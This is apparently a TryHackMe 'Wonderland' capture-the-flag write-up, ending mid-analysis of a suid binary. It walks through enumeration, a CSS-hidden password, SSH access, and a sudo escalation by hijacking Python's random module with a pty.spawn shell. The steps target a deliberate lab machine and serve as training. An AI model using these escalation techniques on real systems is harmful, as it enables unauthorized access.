Wonderland - TryHackMe

Featured image

Adventures Down the Rabbit Hole

Follow the white rabbit and dive into this intermediate-level Capture the Flag game from TryHackMe. Wonderland is a new (at the time of writing) free room, testing your privilege escalation mettle using various techniques. There are no guides here, so it’s up to you to research and root the machine to find both flags. As usual, all flags and passwords have been removed to preserve the suspense. Without further ado, let’s deploy the machine and dive in!

Mapping the machine

The first step, as always is to map out the network and see what’s available on the host machine. Using our tool of choice, nmap, let’s see what’s up:


nmap -sS -A $TARGET_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-07 21:52 CEST
Nmap scan report for $TARGET_IP
Host is up (0.028s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_  256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/7%OT=22%CT=1%CU=35281%PV=Y%DS=2%DC=T%G=Y%TM=5EDD45A6
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11
OS:NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   28.75 ms $LOCAL_SUBNET_ID
2   27.38 ms $TARGET_IP

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.84 seconds

It looks like we have a web server on port 80, and ssh on port 22. Since we don’t have much to go on for now, lets check out the web server.

Exploring the Web

I’m a bit old school, and like to explore with curl, though a browser is fine here as well. Curl can sometimes allow us to see things that may be hidden by JavaScript or CSS. I’m using the -v option to show the response headers, as curl won’t follow redirects on its own by default.


curl $TARGET_IP -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET / HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 402
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:45:08 GMT
< Date: Sun, 07 Jun 2020 19:54:20 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Follow the White Rabbit.&lt;/h1&gt;
    &lt;p&gt;&#34;Curiouser and curiouser!&#34; cried Alice (she was so much surprised, that for the moment she quite forgot how to speak good English)&lt;/p&gt;
    &lt;img src=&#34;/img/white_rabbit_1.jpg&#34; style=&#34;height: 50rem;&#34;&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


There’s not much here. One other thing to try is to see if the author of the challenge left anything hiding around. We can enumerate web directories with a handy tool called gobuster


❯ gobuster dir -u http://$TARGET_IP -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:14:12 Starting gobuster
===============================================================
/img (Status: 301)
/poem (Status: 301)
/r (Status: 301)
===============================================================
2020/06/07 22:14:17 Finished
===============================================================

I’m all for hammering the server if it can take it, though you may want to drop down the number of threads on a production environment :)

We see three links here, /img/, /poem/, and /r

Curious. Let’s make a note of these and come back to them later. For now, /r is most intriguing to me. Let’s check it out:


curl $TARGET_IP/r/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 258
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:37:21 GMT
< Date: Sun, 07 Jun 2020 20:03:45 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Keep Going.&lt;/h1&gt;
    &lt;p&gt;&#34;Would you tell me, please, which way I ought to go from here?&#34;&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


Keep going, eh? looks like another round of gobuster is warranted.


gobuster dir -u http://$TARGET_IP/r/ -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/r/
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:15:05 Starting gobuster
===============================================================
/a (Status: 301)
===============================================================
2020/06/07 22:15:09 Finished
===============================================================
curl $TARGET_IP/r/a/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/a/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 264
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:41:34 GMT
< Date: Sun, 07 Jun 2020 20:07:46 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Keep Going.&lt;/h1&gt;
    &lt;p&gt;&#34;That depends a good deal on where you want to get to,&#34; said the Cat.&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


We still have to keep going, eh? alright then


gobuster dir -u http://$TARGET_IP/r/a/ -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/r/a/
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:15:37 Starting gobuster
===============================================================
/b (Status: 301)
===============================================================
2020/06/07 22:15:41 Finished
===============================================================
curl $TARGET_IP/r/a/b/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/a/b/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 237
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:37:56 GMT
< Date: Sun, 07 Jun 2020 20:09:34 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Keep Going.&lt;/h1&gt;
    &lt;p&gt;&#34;I don’t much care where—&#34; said Alice.&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


At this point, we can probably guess that the endpoint is /r/a/b/b/i/t/ but let’s check to be sure that someone isn’t trying to be too clever here.


gobuster dir -u http://$TARGET_IP/r/a/b/ -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/r/a/b/
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:16:08 Starting gobuster
===============================================================
/b (Status: 301)
===============================================================
2020/06/07 22:16:12 Finished
===============================================================
curl $TARGET_IP/r/a/b/b/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/a/b/b/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 253
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:38:20 GMT
< Date: Sun, 07 Jun 2020 20:11:10 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Keep Going.&lt;/h1&gt;
    &lt;p&gt;&#34;Then it doesn’t matter which way you go,&#34; said the Cat.&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;

gobuster dir -u http://$TARGET_IP/r/a/b/b/ -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/r/a/b/b/
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:16:31 Starting gobuster
===============================================================
/i (Status: 301)
===============================================================
2020/06/07 22:16:37 Finished
===============================================================
curl $TARGET_IP/r/a/b/b/i/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/a/b/b/i/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 259
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:39:25 GMT
< Date: Sun, 07 Jun 2020 20:13:13 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Follow the white rabbit.&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Keep Going.&lt;/h1&gt;
    &lt;p&gt;&#34;—so long as I get somewhere,&#34;&#34; Alice added as an explanation.&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;

gobuster dir -u http://$TARGET_IP/r/a/b/b/i/ -w /usr/share/dirb/wordlists/big.txt -t 128
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://$TARGET_IP/r/a/b/b/i/
[+] Threads:        128
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/07 22:16:54 Starting gobuster
===============================================================
/t (Status: 301)
===============================================================
2020/06/07 22:16:59 Finished
===============================================================
curl $TARGET_IP/r/a/b/b/i/t/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /r/a/b/b/i/t/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 782
< Content-Type: text/html; charset=utf-8
< Last-Modified: Mon, 01 Jun 2020 22:41:05 GMT
< Date: Sun, 07 Jun 2020 20:17:22 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;Enter wonderland&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Open the door and enter wonderland&lt;/h1&gt;
    &lt;p&gt;&#34;Oh, you’re sure to do that,&#34; said the Cat, &#34;if you only walk long enough.&#34;&lt;/p&gt;
    &lt;p&gt;Alice felt that this could not be denied, so she tried another question. &#34;What sort of people live about here?&#34;
    &lt;/p&gt;
    &lt;p&gt;&#34;In that direction,&#34;&#34; the Cat said, waving its right paw round, &#34;lives a Hatter: and in that direction,&#34; waving
        the other paw, &#34;lives a March Hare. Visit either you like: they’re both mad.&#34;&lt;/p&gt;
    &lt;p style=&#34;display: none;&#34;&gt;alice:$PASSWORD_MASKED_TO_PROTECT_THE_INNOCENT&lt;/p&gt;
    &lt;img src=&#34;/img/alice_door.png&#34; style=&#34;height: 50rem;&#34;&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


The Hatter and the Hare await us it seems, and it appears that Alice has found a key. Trying to be a bit tricksy here and hiding the element holding the password with some CSS. Had we been using a browser, we’d have to view the source code in order to spot that little message.

Somewhat curious, we can also check out what’s in the /poem directory from earlier to see if there’s any hints.


curl $TARGET_IP/poem/ -v
*   Trying $TARGET_IP:80...
* TCP_NODELAY set
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> GET /poem/ HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Length: 1565
< Content-Type: text/html; charset=utf-8
< Last-Modified: Sat, 06 Jun 2020 00:40:07 GMT
< Date: Sun, 07 Jun 2020 20:18:28 GMT
<

&lt;!DOCTYPE html&gt;
&lt;head&gt;
    &lt;title&gt;The Jabberwocky&lt;/title&gt;
    &lt;link rel=&#34;stylesheet&#34; type=&#34;text/css&#34; href=&#34;/main.css&#34;&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;The Jabberwocky&lt;/h1&gt;
    &lt;p&gt;&#39;Twas brillig, and the slithy toves&lt;br&gt;
        Did gyre and gimble in the wabe;&lt;br&gt;
        All mimsy were the borogoves,&lt;br&gt;
        And the mome raths outgrabe.&lt;br&gt;
        &lt;br&gt;
        “Beware the Jabberwock, my son!&lt;br&gt;
        The jaws that bite, the claws that catch!&lt;br&gt;
        Beware the Jubjub bird, and shun&lt;br&gt;
        The frumious Bandersnatch!”&lt;br&gt;
        &lt;br&gt;
        He took his vorpal sword in hand:&lt;br&gt;
        Long time the manxome foe he sought —&lt;br&gt;
        So rested he by the Tumtum tree,&lt;br&gt;
        And stood awhile in thought.&lt;br&gt;
        &lt;br&gt;
        And as in uffish thought he stood,&lt;br&gt;
        The Jabberwock, with eyes of flame,&lt;br&gt;
        Came whiffling through the tulgey wood,&lt;br&gt;
        And burbled as it came!&lt;br&gt;
        &lt;br&gt;
        One, two! One, two! And through and through&lt;br&gt;
        The vorpal blade went snicker-snack!&lt;br&gt;
        He left it dead, and with its head&lt;br&gt;
        He went galumphing back.&lt;br&gt;
        &lt;br&gt;
        “And hast thou slain the Jabberwock?&lt;br&gt;
        Come to my arms, my beamish boy!&lt;br&gt;
        O frabjous day! Callooh! Callay!”&lt;br&gt;
        He chortled in his joy.&lt;br&gt;
        &lt;br&gt;
        ‘Twas brillig, and the slithy toves&lt;br&gt;
        Did gyre and gimble in the wabe;&lt;br&gt;
        All mimsy were the borogoves,&lt;br&gt;
        And the mome raths outgrabe.&lt;/p&gt;
* Connection #0 to host $TARGET_IP left intact
&lt;/body&gt;


Of course it is, well played.

Gaining a Foothold

Now that have what looks to be a username and password for Alice, let’s head over through the Looking Glass (I mean ssh, of course).


ssh alice@$TARGET_IP
The authenticity of host '$TARGET_IP ($TARGET_IP)' can't be established.
ECDSA key fingerprint is SHA256:HUoT05UWCcf3WRhR5kF7yKX1yqUvNhjqtxuUMyOeqR8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '$TARGET_IP' (ECDSA) to the list of known hosts.
alice@$TARGET_IP's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jun  7 20:22:58 UTC 2020

  System load:  0.0                Processes:           85
  Usage of /:   19.3% of 19.56GB   Users logged in:     0
  Memory usage: 36%                IP address for eth0: $TARGET_IP
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Mon May 25 16:37:21 2020 from 192.168.170.1

Ok cool, let’s see what we have


ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25 17:52 .
drwxr-xr-x 6 root  root  4096 May 25 17:52 ..
lrwxrwxrwx 1 root  root     9 May 25 17:52 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25 02:36 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25 02:36 .bashrc
drwx------ 2 alice alice 4096 May 25 16:37 .cache
drwx------ 3 alice alice 4096 May 25 16:37 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25 02:52 .local
-rw-r--r-- 1 alice alice  807 May 25 02:36 .profile
-rw------- 1 root  root    66 May 25 17:08 root.txt
-rw-r--r-- 1 root  root  3577 May 25 02:43 walrus_and_the_carpenter.py

We have the root flag, so let’s keep a note for later, and there’s a python script. Let’s see what it is:


cat walrus_and_the_carpenter.py

    
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
"It’s very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head —
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat —
And this was odd, because, you know,
They hadn’t any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more —
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes — and ships — and sealing-wax —
Of cabbages — and kings —
And why the sea is boiling hot —
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed —
Now if you’re ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf —
I’ve had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we’ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter’s spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

So that doesn’t look terribly useful. The program will pick 10 random lines from the poem and spit them back out.

Looks like we’re stuck, eh? Well, maybe not. Remember that we’re in Wonderland here, and things are rarely as they seem. If the root flag is in the user directory, would perchance the user flag be in the root directory? We know that that filename is user.txt so let’s take a look:


alice@wonderland:~$ cat /root/user.txt
$USER_FLAG_MASKED_TO_PROTECT_THE_GAME

Going Further

Ok so we got past the easy part. Now we need to get a root login to read the final flag. A common way to do this it to see if sudo is misconfigured to allow this.


sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Ah so our pythonic poen will be useful after all. But how? Let’s try running the code to see if there are any shenanigans around:


sudo -u rabbit python3.6 /home/alice/walrus_and_the_carpenter.py
The line was:    And whether pigs have wings."
The line was:    Conveniently low:
The line was:    They said, "it would be grand!"
The line was:
The line was:    And more, and more, and more —
The line was:    "To come and spoil the fun!"
The line was:
The line was:    Had got no business to be there
The line was:    And why the sea is boiling hot —
The line was:    "But not on us!" the Oysters cried,

Well that was …useful. The program works as expected. There aren’t any obvious CVEs to exploit, and we can’t attempt to spawn a shell directly.


sudo -u rabbit python3.6 -c 'import os; os.system("/bin/sh")'
Sorry, user alice is not allowed to execute '/usr/bin/python3.6 -c import os; os.system("/bin/sh")' as rabbit on wonderland.

Let’s look at the code a bit more closely, maybe there’s something we can exploit. The script imports a library, which it then immediately initializes. Maybe we can tamper with that mechanism.

Let’s see where python is getting it’s modules from:


python3.6 -c 'import sys; print(sys.path)'
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

That first path looks like the current directory. This is interesting. Let’s try something silly, and create a new file called random.py

    
import pty
pty.spawn("/bin/bash")

Now let’s run the command as rabbit again


sudo -u rabbit python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit@wonderland:~$

Oh hai!

Follow the White Rabbit

Let’s see what secrets you hold, Mr. Rabbit


cd /home/rabbit
ls -la
total 40
drwxr-x--- 2 rabbit rabbit  4096 May 25 17:58 .
drwxr-xr-x 6 root   root    4096 May 25 17:52 ..
lrwxrwxrwx 1 root   root       9 May 25 17:53 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25 03:01 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25 03:01 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25 03:01 .profile
-rwsr-sr-x 1 root   root   16816 May 25 17:58 teaParty

The executable is suid root, which could be handy. Let’s try to run it.


./teaParty
Probably by Sun, 07 Jun 2020 22:20:06 +0000

Welcome to the tea party!
The Mad Hatter will be here soon.
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)

The program waits for user input and causes a segmentation fault. This usually signifies a vulnerability to a buffer overflow, which means we’ll have to craft an input to execute a shell.

This program is pretty intriguing, but naturally, we don’t have the tools to disassemble it here. Let’s bring it over to our own machine. For this, we can set up a simple webserver


python3.6 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On our own machine, let’s grab it with wget, or curl, or your browser, it doesn’t matter.


wget $TARGET_IP:8000/teaParty
--2020-06-07 23:36:08--  http://$TARGET_IP:8000/teaParty
Connecting to $TARGET_IP:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16816 (16K) [application/octet-stream]
Saving to: ‘teaParty’

teaParty                      100%[=================================================>]  16.42K  --.-KB/s    in 0.03s

2020-06-07 23:36:09 (568 KB/s) - ‘teaParty’ saved [16816/16816]

To debug the program, we’ll need to set the executable bit


chmod +x teaParty

Reverse Engineering 101

I’ll use a tool called radare2 to disassemble the binary, though you’re free to use the tool of your choice.


r2 -d teaParty
Process with PID 9153 started...
= attach 9153 9153
bin.baddr 0x563ada40f000
Using 0x563ada40f000
asm.bits 64
Warning: r_bin_file_hash: file exceeds bin.hashlimit
[0x7f372e81a090]>


aa
[x] Analyze all flags starting with sym. and entry0 (aa)
afl
0x563ada410090    1 42           entry0
0x563ada412fe0    4 4124 -> 4126 reloc.__libc_start_main
0x563ada4100c0    4 41   -> 34   sym.deregister_tm_clones
0x563ada4100f0    4 57   -> 51   sym.register_tm_clones
0x563ada410130    5 57   -> 50   entry.fini0
0x563ada410080    1 6            sym..plt.got
0x563ada410170    1 5            entry.init0
0x563ada410000    3 23           map.home_hydra_Documents_tryhackme_wonderland_teaParty.r_x
0x563ada410230    1 1            sym.__libc_csu_fini
0x563ada410234    1 9            sym._fini
0x563ada4101d0    4 93           sym.__libc_csu_init
0x563ada410175    1 80           main
0x563ada410070    1 6            sym.imp.setuid
0x563ada410060    1 6            sym.imp.setgid
0x563ada410030    1 6            sym.imp.puts
0x563ada410040    1 6            sym.imp.system
0x563ada410050    1 6            sym.imp.getchar
0x563ada40f000    3 208  -> 197  loc.imp._ITM_deregisterTMCloneTable
pdf@main

    
; DATA XREF from entry0 @ 0x563ada4100ad
┌ 80: int main (int argc, char **argv, char **envp);
│           0x563ada410175      55             push rbp
│           0x563ada410176      4889e5         mov rbp, rsp
│           0x563ada410179      bfeb030000     mov edi, 0x3eb          ; 1003
│           0x563ada41017e      e8edfeffff     call sym.imp.setuid
│           0x563ada410183      bfeb030000     mov edi, 0x3eb          ; 1003
│           0x563ada410188      e8d3feffff     call sym.imp.setgid
│           0x563ada41018d      488d3d740e00.  lea rdi, qword str.Welcome_to_the_tea_party___The_Mad_Hatter_will_be_here_soon. ; 0x563ada411008 ; "Welcome to the tea party!\nThe Mad Hatter will be here soon."
│           0x563ada410194      e897feffff     call sym.imp.puts       ; int puts(const char *s)
│           0x563ada410199      488d3da80e00.  lea rdi, qword str.bin_echo__n__Probably_by______date___date__next_hour___R ; 0x563ada411048 ; "/bin/echo -n 'Probably by ' && date --date='next hour' -R"
│           0x563ada4101a0      e89bfeffff     call sym.imp.system     ; int system(const char *string)
│           0x563ada4101a5      488d3ddc0e00.  lea rdi, qword str.Ask_very_nicely__and_I_will_give_you_some_tea_while_you_wait_for_him ; 0x563ada411088 ; "Ask very nicely, and I will give you some tea while you wait for him"
│           0x563ada4101ac      e87ffeffff     call sym.imp.puts       ; int puts(const char *s)
│           0x563ada4101b1      e89afeffff     call sym.imp.getchar    ; int getchar(void)
│           0x563ada4101b6      488d3d130f00.  lea rdi, qword str.Segmentation_fault__core_dumped ; 0x563ada4110d0 ; "Segmentation fault (core dumped)"
│           0x563ada4101bd      e86efeffff     call sym.imp.puts       ; int puts(const char *s)
│           0x563ada4101c2      90             nop
│           0x563ada4101c3      5d             pop rbp
└           0x563ada4101c4      c3             ret

Ok let’s see what’s going on here. The most obvious part for me is that the Segmentation Fault is a red herring, as it’s a hard-coded string. Next is that while the program is set as suid root, there’s an explicit call to setuid and setgid 1003.

It we take a look back on our target machine, we can find out who this mystery user is


